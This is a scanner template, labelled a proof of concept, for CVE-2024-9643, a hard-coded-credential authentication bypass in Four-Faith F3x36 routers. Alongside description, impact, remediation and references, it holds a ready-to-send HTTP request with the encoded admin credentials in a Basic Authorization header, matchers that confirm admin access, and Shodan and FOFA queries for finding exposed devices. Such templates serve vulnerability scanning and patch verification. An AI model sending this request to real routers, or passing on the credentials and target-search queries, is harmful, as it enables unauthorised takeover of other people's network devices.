Four-Faith F3x36 router with firmware v2.0.0 contains an authentication bypass caused by hard-coded credentials in the administrative web server, letting attackers with knowledge of credentials gain administrative access via crafted HTTP requests.
PoC
id: CVE-2024-9643
info:
name: Four-Faith F3x36 - Authentication Bypass
author: trader642
severity: critical
description: |
Four-Faith F3x36 router with firmware v2.0.0 contains an authentication bypass caused by hard-coded credentials in the administrative web server, letting attackers with knowledge of credentials gain administrative access via crafted HTTP requests.
impact: |
Attackers can gain unauthorized administrative access, potentially leading to full control over the device.
remediation: |
Update to the latest firmware version provided by the vendor to fix hard-coded credential issues.
reference:
- https://vulncheck.com/advisories/four-faith-hard-coded-creds
- https://talosintelligence.com/vulnerability_reports/TALOS-2023-1752
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-9643
epss-score: 0.03039
epss-percentile: 0.86845
cwe-id: CWE-798
metadata:
verified: true
max-request: 1
vendor: four-faith
product: f3x36
shodan-query: "Four-Faith"
fofa-query: body="Four-Faith"
tags: cve,cve2024,four-faith,default-login,router,iot,auth-bypass,vkev
http:
- raw:
- |
GET /Status_Router.asp HTTP/1.1
Host: {{Hostname}}
Authorization: Basic ZmZhZG1pbjpmZmFkbWluZmY=
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "Four-Faith","Status")'
- 'contains(server, "httpd_four-faith")'
condition: and
# digest: 4b0a0048304602210099718188b6cf54b6a213b6df13edec22b167c1cfca3d1714ffb04c4b06d1cb17022100a8c949ac8bd72c4b21367d8aedbed4b5f346b738dec26003ea3cf2f61eb3aea5:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.